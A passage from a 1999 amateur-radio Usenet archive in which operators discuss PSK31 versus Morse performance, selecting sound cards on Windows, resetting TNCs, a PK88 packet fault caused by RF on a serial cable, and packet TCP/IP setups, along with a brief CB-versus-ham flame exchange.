Forrer has run a number of experiments using an HF channel simulator to
compare the error rates of PSK31 and CBPSK (VE2IQ's AFRICA and COHERENT
programs) as well as MT63 (a much wider FSK based scheme) under various
noise, fading, and multipath extensions. Check out
http://www.peak.org/~forrerj/hfpsk.htm for details. Variants of PSK31
that employ more time diversity and stronger error correction have some
promise as well.

I've been assured by a number of rather experienced Morse operators that
they have no trouble decoding Morse signals that differ by only 20hz or
even less. Of course, their ability to do this goes down as crowding
goes up, and the resulting mish-mash begins to more and more resemble
simple white noise.

What I think is really needed is to gather a number of scenarios of different SNR levels and varying amounts of fading and multipath, and evaluate the error rates of PSK31 and Morse operators under identical conditions and data rate. Drawing conclusions from such experiments could at least be done relatively objectively.

One problem is the simple problem of data rate. There is probably little doubt that a human's ability to decode Morse on a noisy channel goes down dramatically as speed goes up. It may very well be that under noisy conditions, that humans are unable to decode Morse at the comparable 50wpm (or 43wpm if you would rather) rate. Since most implementations of PSK31 are unable to drop transmission rate to match slower 20wpm or 13wpm rates, that would seem to make direct comparisons difficult. Even if such implementations are availble, the longer bit times may result in better than expected performance for slow PSK31, since the channel may more closely approximate the gaussian channel when examined with longer bit times.

>common, and nowhere near cheaper than a CPU without an RTC.

Right. And I have used them, and the types I used

- had the RTC disabled at manufacture, a special sequence was needed to
start the clock running and set it to local time

- had the RTC as a separate item that was difficult to read and would
certainly not influence the system by itself

I can understand that maybe someone used these devices only for the CMOS
RAM feature and did not need the RTC, but it is difficult to imagine that
the RTC would cause any havoc.

Aha. I'd been considering receiver performance and signal strength only. For me and many other ops, 20 Hz *is* zero-beat. :-(I realize this puts a kink in any possible comparisons. My thinking was to define a usable SNR for each mode; this would be the end product. The presumption is that some wet- or software would be able to read the signal if it were present.

Yes, and this seems to underline the need for a valid simulator. I don't believe discussion without considering channel effects would bear much useful information.

Good points, and I've seen the referenced page. So, simple SNR seems inadequate as a figure of merit for comparison. What would you suggest?

Michael.

2884. Re: Two sound boards, one for PSK31

I've have now found applications which allow you to choose which sound card you want it to
use. Iphone 4.0 is one such application.

I have two sound cards in the machine. The No. 1 card is defaulted to everything. You can change this in the multimedia dialog from the control panel to the 2nd sound card if you choose.

In Iphone you can you can go to "view" "options and then click on the audio icon. The last tab in the resulting dialog is "device". Choosing this allows you to select separately which sound card you want to use for input and output. In other words, you can use sound card 1 for input while using card No. 2 for output. Of course you can do input and output on either card. Microsoft Netmeeting has the same capability.

I now use this configuration everyday. All the normal computer sounds go to my speakers, except Iphone which is directed to my UHF rig, extending my friends around the country, who call me on Iphone, to my handheld. Give it a try, its great.

Now all we need is some PSK31 software which will do the same thing.

Hello Bob,

Things are now falling into place.

I have now studied the way in which programs, such as PSK31SBW, attach
the sound card. I'm not sure, but it appears that programs generally
query the operating system for information on "how many devices" there
are. Then they go through a loop asking for the device capabilities of
each device. The first device that is encountered that meets the
characteristics desired causes an exit from the loop and that device
is Opened. For example, you may be looking for sampling rate=11025,
channels=2 (stereo) and bits per sample = 16.

The first device meeting those characteristics will be chosen. To me
that suggests that if you have two identical sound cards, each of
which meet those requirements, then the one chosen will always be the
first in the list.

That's the "dumb" program.

Of course, if the program is "smart", it will give you more flexibility.

Apparently from your investigation of how Windows manages the two cards, you can tell Windows which card to be considered as "primary" (first in the list) and which to be considered as "secondary" (second in the list).

Hi there Andrea, i have several KPC3s and i thought that the firmweare inside is fairly similar, you can try the commnad INT KISS (interface kiss) and then the RESET command (or switch off/on)

to get back from kiss, use the following key sequence in a PACTERM (the program that comes with the TNCs) or any usual dos terminal program....

Hold down ALT and type on the numeric keypad: 192, 255, 192 this should get you out of KISS mode back into TERMINAL or NEWUSER mode (type INT to see which mode your in)

I hope this applies to the KPC2.

Regards
Greg

Bob,

On installation, each sound card is assigned a different IRQ and address. I suspect that the loop you refer to may also allow an application to specify and IRQ and/or address in choosing a device. If I had identical sound cards, I could confirm whether Iphone or NetMeeting still distinguishes, but I suspect they would. In other areas of ambiguity, Windows usually adds a number to the second thing with the same name. For instance, I've noticed that two modems in the same machine are handled this way.

If you know how to set PSK31 to select the second sound board, please let me know. I presume an ini file might be an easy first step, but I don't know how PSK31 has to be modified to use the information in the ini file.

>That's the "dumb" program.

>Of course, if the program is "smart", it will give you more
>flexibility.

That is a possibility, but I think it instead works like this:

- Windows has a sound (multi-media) API that does not at all pass
information about a "device number". All info you send to it will just
go to "the sound card".

- Realizing that this is limited, Microsoft has added another API that
allows selection of the device. But not many programs are using it yet.
It probably requires installation of updates like DirectX.

Many people don't like it when their OS needs an update before a certain
program can be run, especially when the update is known to sometimes cause
other difficulties.
So, some authors prefer to use the old-and-simple API even when a more
flexible API is available.

A typical snobbish ham operator shows his true colours. Piss off back to
uk.rec.radio.amateur. This is a CB newsgroup and I'm constantly sick of
the rantings of Hams who have no business being in a CB newsgroup. If you
want to rant on about CB packet interfereing with AR packet then either
do it in your ownnewsgroup or pull your finger out of your arse and
report it to the R.A. Better still I'll give you my invite to the RA
forum and you can moan to them in person.

2894. BTL RTTY & DELL PC/Yamaha DS-XG audio.

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-06-23 00:00:00 UTC
From: pgenenv@tinet.ie
Message-ID: <377133fe.5474315@news1.tinet.ie>
Source record: 17555

Has anyone any experience of running the BTL RTTY software on a DELL PC with integral soundcard.

I am using a Dell Dimension V350 with 350 mhz pentium II chip and Yamaha DS-XG soundcard on board. This card works with no objections with the G3PLX PSK31 software and with IZ8BLY Hell-Schreiber software. With BTL it will, in a W98 DOS window find the sound card (reporting it as SB V3.,1 @ Address H220, Interrupt 5 and DMA 1) but although the programme runs it appears to not access the card.. there is no display of the received audio signal.

Any suggestions gratefully received as I would like to use the progamme for casual RTTY and so avoid cable/interfacing changes.

From: Randy, WB5KCM <wb5kcm@hotmail.com>
Message-ID: <7krj69iup1@nnrp1.deja.com>
Source record: 17556

Picked up a real clean Paccomm Tiny 2 TNC at the Dallas HamCom and it also has the 9600bd modem board inside. The guy said it was working fine and I didnt complain about the $25.00 price. The problem is there was no book. When I have it connected to the computer running terminal program and turn on the TNC all I see is the cursor move over one space and no sign on message, nothing. All the terminal parameters are correct. When the power is applied the front panel leds light and a couple remain on and then only the power led will stay on. Could it be locked in transparent mode or something like that? I opened the unit and removed the 9600 board but it still does the same, nothing. Can someone tell me how to do a hard reset on this TNC?
Any ideas what may be going on here?
Randy, WB5KCM

A Radio (an HT may do), a TNC and the appropriate radio to computer/tnc
cables. MFJ sells pre-made cables for various radios if you want to forgo
making your own. TNCs come with basic software.

73,
Tom

Source record: 17559

Obviously, some additional clarification is in order.

The Multimedia API has dozens of calls into mmsystem.dll, including
the following:

waveInGetNumDevs
This call returns "m", the number of wave input devices in the system.
It is reasonable to use this number of devices in a loop to
interrogate the system about the capabilities of each device.

waveInGetDevCaps
This call returns the capabilities of wave input device #n, where "n"
is one of the "m" wave input devices in the system. Device
characteristics and capabilities include sampling rate, # channels, #
of bits per sample, etc.

waveInOpen
This call obtains exclusive use of the device. It also initializes the
device with specified operating modes, such as sampling rate, #
channels, and # of bits per sample. A good way to get an error return
from this call is to specify an operating parameter that is NOT within
the capabilities that were returned by the system in the
abovementioned call to "waveInGetDevCaps".

NONE of the API calls will determine or provide access to such things
as IRQ #, DMA channel #, Port address, etc. Those parameters are
purposely hidden from the applications programs.

So far as I can determine from Peter's code, there is no check made
for how many devices or what their characteristics and capabilities
are. He simply tries to open the device with the initialization
parameters that his program needs, and if it errors out - T.S.

So far as I can determine from other examples of code that I have
seen, it IS POSSIBLE to be very selective about which wave device is
selected from within a program, if there is more than one available
with the desired capabilities. Of course, the programmer must include
the necessary code to do all of the necessary queries and provide
whatever decision logic is needed to resolve any ambiguities. What is
not clear from the API and the examples that I have seen, is how the
API shows the application which device has been declared Primary in
the Control Panel and which device has been declared Secondary in the
Control Panel. There is no explicit mention of this in the API.

With regard to the question asked by Bob,
<<If you know how to set PSK31 to select the second sound board,
please let me

know. I presume an ini file might be an easy first step, but I don't know
how PSK31 has to be modified to use the information in the ini file.>>

There is no way that I know of to "modify" PSK31SBW without making changes at the source code level.. If I can obtain the Delphi software development system, I can re-write the program, given a reasonable amount of time. However, I have abandoned any hope of translating the program from Delphi Pascal into Visual C++, because the job is just too much to take on.

With regard to Rob's statements about how it actually works:

<< - Windows has a sound (multi-media) API that does not at all pass information about a "device number". All info you send to it will just
go to "the sound card". >>

I wonder how you would explain "waveInGetDevCaps" and the argument that you pass to it called uDeviceID?

- Realizing that this is limited, Microsoft has added another API that allows selection of the device. But not many programs are using it yet.
It probably requires installation of updates like DirectX. >>

Do you have any specifics?

Yeah, I'm actually getting more interested in packet lately. I think I'm going
to try to go soundcard first, and not baycom -- as I have lots of
Soundblasters of all variety and some genuine WSS cards lying around, I
should be able to make this work -- if anyone can. At least, I've gone as
far as ordering an MFJ data radio, for 9600 -- though I won't get the crystals
in for a few weeks. I've rebuilt the Linux kernel with the ham radio stuff, and
well, I figure when the crystals come in, I'll try to get it working. I hear something
on 145.71, the local 2m 9600 freq, so at least, I figure there'll be someone
to ping, if nothing else.

I suspect, that it's not going to be possible to hook multiple sound cards or
sound cards and Baycom style stuff on a single PC, though I'd be curious from
hearing from anyone who knows what really the limit is here. Can one PC run 1
Soundmodems and 2 Baycoms all at once? Cuz, at least, it seems to me that
anything 'interesting' requires at least 2 or 3 radios and connections.

Anyway, I'm in Berkeley, California, in case anyone is looking to do
some packet stuff in this area.

"Michael Young" <nobody@all.org> wrote:

> Good points, and I've seen the referenced page. So, simple SNR seems
> inadequate as a figure of merit for comparison. What would you
> suggest?

I'd suggest not using a single figure of merit. :-)

Obviously different modes are used for different purposes, different properties, and different reasons. There is nothing wrong with that, unless you assert that a mode has properties that it doesn't have.

For many people, the figure of merit is "is it Morse code?". Hard to argue that PSK31 is better than Morse if that is the figure of merit. It's not even worth having the conversation.

PSK31 has a number of distinct advantages: it operates in a narrow channel, has good data rate, uses cheap hardware and free software, and is undergoing active development. By all accounts, PSK31 has rather good performance, and has spawned considerable interest in the ham community about things like error correction, signal processing and alternative modes. All of these things are good in my opinion.

Comparisons with Morse are inevitable, if nothing else because Morse has such enthusiastic and vocal support. Such comparisons are very difficult to make because actual data on human ability to decode Morse in the presence of noise is not widely available. Hams have all sorts of anecdotal evidence that humans can perform amazing feats using Morse, but anecdotal evidence is a very weak form of evidence (canals on Mars and UFOs leap to mind). It is surprising to me that you can't find much about measured human ability to do Morse in the ARRL handbook. It seems that such tests must have been run, or at least could now _be_ run using HF channel simulators. There absence perpetuates the myth that narrow modes are best, and Morse gets through when nothing else will. Most ham communications takes place at very signficant signal to noise ratios, no where near the detection limit. In fields which are severely power limited such as satellite telemetry or handheld wireless devices, digital modes are the norm, rather than OOKed schemes.

Now, it may very well be that PSK31 is not the greatest mode for HF. It _is_ susceptible to short term phase distortions, and doesn't employ enough time diversity to survive those flutters or deep fades. It might be a mode similar to MT63 might be better, which uses both time and frequency diversity to overcome these problems. But those are interesting questions too...

Direct comparisons are difficult to draw, but lead to valuable understanding. Why does Morse take up more bandwidth for a given speed than PSK31? Why is PSK31 sensitive to multipath and fading? PSK31 requires (for now) a PC or DSP card, how can these be made cheaper/more portable? What are the limits to my (or the average hams) ability to decode Morse in the presence of noise? Why do analog modes suffer gradual degradation and digital modes tend to a "brick wall" where the error rate climbs remarkably?

In trying to find answers to some of these questions for myself, I've begun to explore part of ham radio which doesn't get very much press. I find it all rather interesting, and a rich field for exploration.

If your looking for a start, I'd try just writing a program to generate random letter groups (or random qso like messages if you prefer), add in some AWGN of varying amplitudes, and try to measure your own performance in decoding at various speeds. The pure AWGN isn't a very good approximation to the HF channel, but it would be a start. If you wrote a simple varicode BPSK decoder (as I did), you could measure it's performance on identical text. That is a somewhat meaningful test. You might try to normalize the results so that both modes sent equal power or bandwidth.

Thomas Sailer has the start of an HF channel simulator written for Linux I've been meaning to play with. Experiments using a channel simulator could similarly be performed.

Anyway, just some thoughts...

As I've stated before, we need to develop a model for minimum
required bandwidth, relate that to throughput, and then, indepedently,
determine the performance under varying noise conditions. With
these three characterizations, we can start to dicuss a neutral
notion of bandwidth/throughput/SNR - which is the beginning of
an apples-to-apples comparison. You just can't do all of the
characterizations at once.

The model I'm using right now is to look for the 'shelf' in
error rate from effectively none to some.

I'd like to think that there are a good few of us who conduct
ourselves in a fitting manner for the majority of uk.radio.amateur
contributors. FWIW Conor is not alone in assuming that this thread is
confined to a single group...
Cheers,

Jon.

> It probably requires installation of updates like DirectX. >>
>
> Do you have any specifics?

Specifically, DirectSound in DirectX interacts with the sound devices. Enumeration calls are available to query the devices installed on the system. Device selection is made by specifying the default device, or by GUID. The GUID is returned in the device enumeration, along with information about capabilities, allowing dynamic selection if necessary. Alternatively, a specific device GUID can be saved to directly specify the device, avoiding enumeration altogether. One strategy is to enumerate devices during setup, and store away the user's device selection for future use. The default device simply has a NULL GUID.

Additional information is available in the DirectX documentation, and also online at MSDEV. The DirectX doc's are also included with the VC++ 6 API help files.

DirectX is commonly used in Windows-hosted games, and likely to be available on newer systems. However, it is an optional installation, and might not be available on some systems. The current DirectX version is 6.1; Windows NT 4 supports only version 3. This is not a handicap, as the DirectX 3 sound interface is sufficient for our simple use. I was not aware that the mmsystem calls allowed device selection; this might well be the more appropriate path.

Michael.

I had just the opposit problem for a while , could run BLT, but not
psk31. I was loading some dos drivers for the sound card toget BLT
to run, then had to take them out to run psk31. Maybe you need to
load the dos drivers for the sound card, but when you are not
running blt be sure to take them out.
Haven't used blt to transmitt with , but it seems to receive just
fine.

For my part, I don't see anything wrong with CB folks doing anything they
care to, as long as thier activity doesn't intefere with Ham Radio stuff.
I'm sure that some are good, and some are bad... So what?

My objection was to poorly thought-out software which has caused trouble for
both CB'ers AND Hams.

I noticed that most people who have responded did not bother to read and
understand what I had to say... To re-cap:

F6FBB ought to have his butt kicked up between his shoulder blades for
setting up "FBB" in such a way as to guarantee this sort of problem. By the
simple expedient of releasing two seperate, incompatable versions of the
software for Ham and CB use, he could have saved everyone a lot of
trouble. - When he saw the result of what he did, he could have taken steps
to alleviate the problem, but no, he didn't. It appears that he is quite
happy with the turmoil he has created.

>Randy, WB5KCM

I don't have my Tiny2 book handy, but to do a hard reset you can remove the
lithium battery inside, wait a bit for any caps in line to discharge, and then
put it back in. That'll clear the SRAM. There's also a jumper tha will do
the same thing, but without the book handy I can't tell you which one (it's
near the battery, though).

No offense, Greg, bu what an interesting point of view - unheard of in
my experience. Does the originator of a thread actually have the power
to close off a thread? Or is this just wishful thinking? It also begs
the question, "Can anyone else, who finds that a thread has come
unraveled, close it off?"

Has interesting possibilities, to say the least - right up there with
"unsubscribe".

I remember some time in the past the story of an Amateur radio operator with his set up and legal power blasting all over his neibours telephone / tv / even toaster believe it or not. His attitude was im legal so F - - K you, buy yourself more expensive equipment then you might not get interference. If I was that neighbour I would have rammed his equipment where the sun dont shine. There are aggressive people in all walks of life and just because a CB er gets the hump with a snide comment dont class us all with the same brush...likewise there are quite a few Amateurs who are complete As-hol-s. Start a troll...prepare to get flamed....

>'CB' and 'Ham' versions ??

Actually, some software has worsened the situation by attempting callsign
validity checks. They would not allow any 6-character alphanumeric string
as the callsign, but enforced certain restrictions.

The result is that CB people have been 'forced' to use callsigns that look
like amateur radio calls (here in the Netherlands, where packet radio on CB
is legal, they often use the NL prefix, no knowing it is allocated to
Alaska).

Without this checking, we could have convinced them to use something that
a Ham immediately recognizes as "not a real callsign".
(e.g. 2 or more digits in the middle)

It need not be a Ham, it can be a forwarding filter in a generally
distributed example BBS setup.
Those filters could not reject NL* because it is a valid prefix. But
they could have rejected NL[0-9][0-9]* and still allow the Ham NL[0-9]
callsigns.

CB hasn't got an image problem !!! what can you mean !!! more garbage and image demoralisation goes on in the Amateur brigade (about each other) than any other newsgroup on the net..... its only got an image problem in your eyes and if you want to post a message in the newsgroup stop dumping it on rec.radio.amateur uk.radio.amateur as well as I feel you are a troll sir.

The VX-5R manual states that the memory priority channel is
memory location no. 1. When the radio was first received this was so.
Or, upon reset it is so. But in trying out all functions this
priority channel has moved to other memory locations. I'm sure that
I punched a button in the wrong order.

Does anyone know what order of button pushing to use to get the
priority channel back to no. 1?

Owell

2934. Converting the tones on a PK88 ???

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-06-26 00:00:00 UTC
From: Ian Wade <ian@dowrmain.demon.co.uk>
Message-ID: <AJksyGAahSd3EwNG@dowrmain.demon.co.uk>
Source record: 17590
Cross-posted to: rec.radio.amateur.digital.misc,uk.radio.amateur

I have an aged PK88 which, according to the manual, is "strapped for the Bell standard tones" -- i.e. 1200/2200. (Although the TNC has several jumpers, there is no information explaining what they do, and I suspect that "strapped" means hard-wired).

Today's TNCs don't understand these tones, so I want to convert the PK88 to work with V.23 tones (1300/2100). However, I don't have any information on which pins on the AM7910 control this.

Ideas anyone?

Help,
I have recently taken an interest in packet for my 2 meter mobile rig. I have the idea that one could retrieve (telnet) emial from my server and send email as well... however, I can't seem to find any information on this at all. I would like to log onto my local tcp/ip gateway, but am not familiar with what programs, etc to use...
Can someone help??? I have a KPC-3 Plus. and an icom 2100-H.
I am very familiar with computers and networking them, but cannot use my knowldege here...

Yeah, this is doable. Or at least for the remote end all you need is
JNOS and a DOS prompt. Jnos is able to connect to a TCP/IP gateway
using KISS tnc's -- which is what you have. I've done it. You can
telnet and read email from Jnos. My jnos box is down because my PK232
died, though I have it out for repair now. Setting it up is a little
wonky, but I found a program called 'instjnos' which set it up to the
point where I could tweak into working myself. I've read from the
'more hip' TCP/IP guri that jnos has some funkiness in it's protocol
stack, though the BBS is nice, and when signals are reasonably strong
it seems to work good.

If there isn't a gateway, you'll have to set up something at home,
and I haven't done this myself. Right now I'm fussing with the Linux
AX25 drivers -- trying to get them working. Though I still haven't
figured it out yet.

I've gotten to the point where I can do a 'call'
command from the unix prompt and it sits there and looks like
it's trying to work on the software side, but I think I still have
something wrong with my T/R switching or my cable. (Maybe I have
E and C switched -- I'm always confused by these transistor diagrams.) M

My MFJ radio has no squelch, and I think the Linux soundmodem does software
DCD, but I haven't found anything about this in the man pages.

Maybe Flexnet is the better way to go -- I'm not sure, as I haven't
played with this yet myself.

I've also been meditating on some schemes, to maybe get the AX25
working in Linux, and then write software so I could read email
from one of those cool Kenwood digital HT's.

Anyway, I'm posting about my flailings around with this stuff, in
hopes of drumming up a little 'actual digital radio' discussion.

Maybe there's something here you didn't know already.

Which modern 1200 baud TNCs don't understand Bel 202 standard tones?

My KPC-3+ uses V.23 out of the box. This talks successfully with every
other TNC in radio range. But none of those TNCs will decode packets
from my PK88. (I actually have two PK88s, and they both work the same
way -- they will talk to each other, but not to any other TNCs). I've
tried twiddling with all the parameters which I think are relevant, and
tried different levels of deviation, but that doesn't make any
difference.

Then something must be *defective* in either your PK88 or your KPC-3!
Bell 202 tones are the standard for 1200 baud AFSK packet radio, everyone
should be able to detect them. Some hardware gets away with using V.23
but it should always remain compatible with the 1200/2200 tones that
everyone else uses.

Ian,

I don't know why Kantronics used different tones, but Dana is correct (as
usual)--the standard tones for 1200 baud packet are 1200/2200 Hz (Bell
202).

Like our friends from over the pond, I'm at a bit of a loss to understand
why Bell 202 ain't good enough. Maybe one for 'In practice' Ian ?? !!

But ..... I do have a copy of the AM7910 app note.

Mc0 = Pin 17 ; Mc1 = Pin 18 ; Mc2 = Pin 19 ; Mc3 = Pin 20 ; Mc4 = Pin 21

Mc 4 High = Loopback, for normal use = 0

Mc3 : Mc2 : Mc1 : Mc0

0 1 1 0 V23 Mode 2 1200bps half duplex
0 1 1 1 V23 Mode 2 1200bps half duplex with equaliser
1 0 0 0 V23 Mode 1 600bps half duplex

Kantronics choose a V.23 modem chip when various Bell202 modem chips like the 7910 were discontinued. The 1200 baud amateur standard is Bell202, even if Kantronics broke the rules.

TNCs from the other manufacturers are still Bell202. New Bell202 chips are being manufactured such as the MX614. DSP modems are designed for Bell202. The bottom line is stick with 1200/2200. Most new TNCs are designed to this standard and most of the installed base is built this standard.

If your PK88 is not working with the KPC-3 you might check the levels. The transmit out of a TNC drives the mic input, while the output of a radio is usually much higher.

To Al, Dana, Rob and everyone else:

I too am mystified. I used to tell everyone that 1200/2200 was the
standard, and the PK88s used to work fine on-air. As I explained in my
original post, I have experimented with drive levels, without success.
If it were just one PK88 not working, I would put it down to a faulty
unit, but with two PK88s not working it has to be something else. I
guess I have to dig deeper.

Thanks everyone for your inputs.

2946. MFJ 8621 -- weird problems

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-06-27 00:00:00 UTC
From: Cathryn Mataga <cathryn@junglevision.com>
Message-ID: <3775D2FD.F35973B9@junglevision.com>
Source record: 17602

Errgh, it seems that my MFJ 8621 I got has some kind of weird problem. Or, what it'll do is it'll transmit -- at least I can hear the signals on my HT okay. And, I hear what sounds like
the old static rush on the audio output.

But about half the time after I transmit, the radio goes into some kind of funny state, where it
puts out noise all across the 2m band. This is even though the transmit light is out. I won't
be able to receive any 2m signals anywhere on the band in this state. If I touch the top of the transistor with the heat sink, the noise will stop, and I can receive again. I've tried a couple antennas, and they both do the same thing. Even removing the data cable comlpletely
will not stop the box from putting out noise.

I figure the one I bought might be dead out of the box -- or maybe there's some kind of adjustment to make for this. Ugh. Maybe I'm just confused, but I'm sort of run out
of things to try with this thing.

>

The thick plottens!

I converted the PK88 so that it transmits V.23, and verified in
calibrate mode that the mark and space tone frequencies were the same as
with my KPC3.

The PK88 still received packets from the KPC3 OK, but the KPC3 still did
not decode packets transmitted by the PK88.

Also, listening on-air to the PK88 TX packets, the tones seemed to much
higher in frequency than the KPC3 packets, and the packets shorter in
duration. As a test, I transmitted a beacon of about 100 characters from
each TNC. KPC3 beacon duration: about 1 second (as expected). PK88
beacon duration: difficult to be precise, but less than half a second!

So, off the wall, I set the PK88 HBAUD to 600. Eureka! It transmitted at
1200, the tones sounded normal, and the KPC3 decoded it OK.

Further tests showed that the PK88 receives at the selected HBAUD speed,
but transmits at *twice* that speed.

Now I am *really* perplexed. How did I get into this state, and how do I
get out of it?

John,
Thanks for that info, it worked! Found small header type jumper flea clip near the battery and disconnected the power from the TNC and turned it off and on a few times and let all the caps discharge. Then turned on the power and it came on with the sign on message just fine. Now ready to connect it for 9600 bd operation. I now have a couple of GE Phoenix radios that is supposed to do 9600 bd.
Thanks again and best 73.
Randy Perkins, WB5KCM.

I know I shouldn't be replying to my own posts, but you'll be glad to
hear that the mystery is solved :-))

In brief, I couldn't think of any logical reason why the TX clock was
running twice as fast as it should be. Then I thought about RF
breakthrough into the TNC. Bingo!

I narrowed it down to the DB25 cable from the TNC to the PC. When I
originally used the TNC years ago, I made up a special cable with just
TD, RD, ground etc, and had no problems. Today I'm using an off-the-
shelf cable with all 25 wires connected. One of these wires (on pin 13)
is connected to the USART clock! This wire was acting as an antenna,
feeding RF into the TNC and making the clock waveform very ugly -- hence
the doubling of the clock speed on TX. So now I've added a .001 from pin
13 to ground inside the TNC, and everything's fine and dandy again.

Ho hum, all in a day's work.....

Many thanks to everyone who emailed me suggestions.

(And I guess the original tones were all right after all :-))

greetings.

I need some help on the operation of my Kantronics Interface][terminal unit. I've tried the website for drivers, but so far unsuccesful. are there any other places where I can get drivers or anybody who has the drivers for this? Also, I know it may sound weird, but it looks as if it has a MIDI output in the back (the 5 pin). Also, I have a cord that hooks to it and it appears as though it's a RG-59, but I have a suspicion that it might hook up to an Atari? ANY information would be geratly appreciated.

I downloaded multimode today, and was trying it out with the various modes, and I cant seem to get it to display anything that even resembles legible even with blazingly hot rtty and cw signals... It seems that the input is being chopped into half second pulses instead of being processed at speed, resulting in total garbage on the translation, Is anyone here having that problem, Chris, do you know what it might be? I've got 192MB of ram, over 9gigs of hdd space free, and am not running virtual memory.

It's been a long time, but I recall that it interfaced only to a Commodore
VIC-20. I think the driver was in ROM on a card that plugged into the
VIC-20.

So the suggestion that something was defective was not so bad afterall?

I think it is a better idea to go back to a minimal RS232 cable. The AEA
units have all kinds of internal signals on their RS232 connector, some of
them just unbuffered TTL (as you found out the hard way). Don't connect
the 'unused' pins...

Ref drivers for the kantronics. go to http://www.qrz.com
They have added a whole bunch of software which wasnt there before.
I always used it as a "call sign searcher only" but now just look
thru several pages of software zipped files. Park on the one you
want and download. They have drivers for kam+, pk232, kpc units,
et al!.

Well, the input generally (depending on the mode) is sampled in around
half-second chunks, but that doesn't affect decoding - each chunk is still
broken up into finer resolution samples, typically 1 millisecond or
shorter, again depending on the mode. I guess I don't quite understand
what symptoms you're trying to describe, could you be more explicit?

Have you tried any of the other modes, like fax or FFT or the frequency
counter mode with a single tone input?

Message-ID: <377A7B06.E24DB9EC@pwsb33.ab.ca>
Source record: 17623

I'm trying to build a simple digital radio link for various purposes.
The idea is to let a microcontroller transmit to a microcontroller.
Speed isn't too much of an issue (I don't need anything like 10 mb/s)
but the faster the better of course. Can anyone point me to some useful
resources?

I'm new to radio electronics, so any hints about where to look for
materials on general concepts like baseband and modulation would be
helpful too.

Thanks,

Robb Brown

FYI, I now have a digi running about 30w to a groundplane on 144.800.
Location Harlington, Mid Beds, about 1.5 miles east of Junction 12 on
the M1 (near Toddington Services). Good coverage in an arc from west
through north to east. (Poor coverage to the south).

At the moment it is attended (operational most evenings/weekends), but
will hopefully soon be 24x7 unattended.

Please let me know if you hear it/use it.

BTW, G6ODT in Northants and G7JUC in St Ives (Cambs) are both good
signals here.

2969. Pacterm '98 and Pk-term '99 release 1.3 on the web.

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-06-30 00:00:00 UTC
From: Rick Ruhl <ricker@cssincorp.com>
Message-ID: <OZsugA0w#GA.314@cpmsnbbsa05>
Source record: 17625

Creative Services Software announced today that version 1.3 of the popular
Pacterm '98 and Pk-term '99 programs has been released and is on the web at
http://www.cssincorp.com .

This *FREE* upgrade to current owners of the product includes:

Enhancements:

- Interoperability with the LogWindows logging program.
- New macro for contest serial number
- Selection to allow HF window to come up at startup
- Settings for 300/1200 or 9600 baud packet based on TNC
- Updated Help File
- Updated Manual
- New Modem selection screen for DSP-232, DSP-1232, DSP-2232 and PK-900
- New Modem Filter selection for MORSE mode on PK-900/DSP:
Filters : 200, 100 and 50 hz

Fixes:
- YAPP file transfer fixed on all types of TNC's.
- ASCII file transfer fixed on all types of TNC's.
- Printing now works on all printers.
- Host command fixes for WRU, MODEM and other status commands (PK-Term).
- Amtor issue fixed (PK-Term).

Both Pacterm '98 and PkTerm '99 retail for $79.95.

Pacterm '98 is available from your favorite ham dealer or from CSS at
256-381-6100.
PK-Term '99 is available from your favorite ham dealer or from Timewave at
651-222-4858.
Timewave is on web at http://www.timewave.com .

generally in the area of "FM" radios, if you are talking about
radios that would be used for 2-way voice communications
on vhf/uhf, you will find two flavors of FM..

One is Direct FM, the other is PM or Phase modulation..

If you want to run data, it is preferred that you use
a xmtr designed for direct FM

In your example, assume that the audio frequency response of
your transmitter's audio and modulator stages actually allow
you to transmit at a rate of 1 Hz.

With direct FM, you would be moving the carrier signal
+/- 8 KHz from center frequency at a 1 Hz rate, and
the signal would look like a square wave. How well it
looks like a square wave is still dependant on the
audio frequency response of your audio and modulator
stage in the transmitter.

With a Phase modulated transmitter, you start getting into
problems as the bandwidth of the signal and the deviation
are based on the <rate of change> of the modulating signal
and not just the amplitude of the signal. Obviously with
data that may present a square-wave to a phase-modulator,
the rate of change of the modulating signal will look
exremely fast and the result will be wide sidebands and
wide deviation of the signal. A 1-hz signal, if not
passed through a DC-coupled amplifier, will start to have
rounded edges of the waveform also.

Commercial equipment, like some of the later production
run Motorola FM two-way radios actually have two
points for modulation, one is to modulate the reference
oscillator itself, in some cases, if the modulating signal
is a really low-rate data signal like digital PL, and the
other point may be to modulate the loop synthesizer itself.

For low frequency modulation of a transmitter,
there has to be compensation circuits that are used
so that that the radio doesn't look at the low-freq signal
as if the transmitter is drifting off frequency and the
frequency synthesizer/charge-pump circuity tries to pull
the signal back to center frequency..

hope some of this helps ..

Trish

Source record: 17627

I'm a newbie trying to understand Frequency Shift Keying.

The page at
http://wkweb4.cableinet.co.uk/simon.collings/Modulation/FSK.htm says,
in part:

"FSK signals may either be generated as an audio signal (baseband)
then transmitted using a conventional SSB or FM transmitter, or a
transmitter's carrier may be frequency keyed directly. "

I'm trying to figure out what the difference is in the case of an FM
signal. Let's say the FM transmitter's carrier is directly keyed +/-
8kHz, where +8kHz is a 1 and -8kHz is a 0. Let's say that someone is
sending a 1Hz pulse train (i.e. .5 seconds of '0' and .5 seconds of
'1') If I tune the nominal carrier frequency in with an FM receiver,
what does the resulting demodulated audio sound like? What would the
audio output waveform look like on an oscilloscope? Would it be a
square wave? Or does more need to be done to recover the original
pulse train?

Many thanks for your assistance.

From: F4CWH <kapou@chez.com>
Message-ID: <377B30CE.ABBCAFCD@chez.com>
Source record: 17628

Hi all,

Well, no Mir will probably not be burned in a few months, and should stay in space for a few years more. In fact, russians want to sale it to some private companies. These companies could use it to make cheap sat lauches, and experiments.
About the modes used by the station, there is no planning at all. For the moment, the "men in space" (including a french astronaut, Jean-Pierre Haignerï¿½, call : FX0STB) transmit on 145,985 MHz mode FM (voice). FX0STB was just transmitting this morning. The packet mode doesn't seem to be used really often, but you can hear SSTV on the same frequency, using ROBOT 36 mode. The pictures are both from in and out of the station.
This frequency is actually the only one that is used in the ham bands.

2973. PK-232MBX and CW

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-07-01 00:00:00 UTC
From: kf4kjq@my-deja.com
Message-ID: <7lfttteug1@nnrp1.deja.com>
Source record: 17629

I have a PK-232MBX With August 1991 Firmware. For CW it is tuned to a center frequency of 800 Hz. A lot of CW is not 800 HZ and is very hard to tune it for this reason. Is it possible to modify the TNC so that this is adjustable? Will a firmware upgrade allow adjustment of the CW tuning?

Yow, first I find out that FSK is really two different things, now I
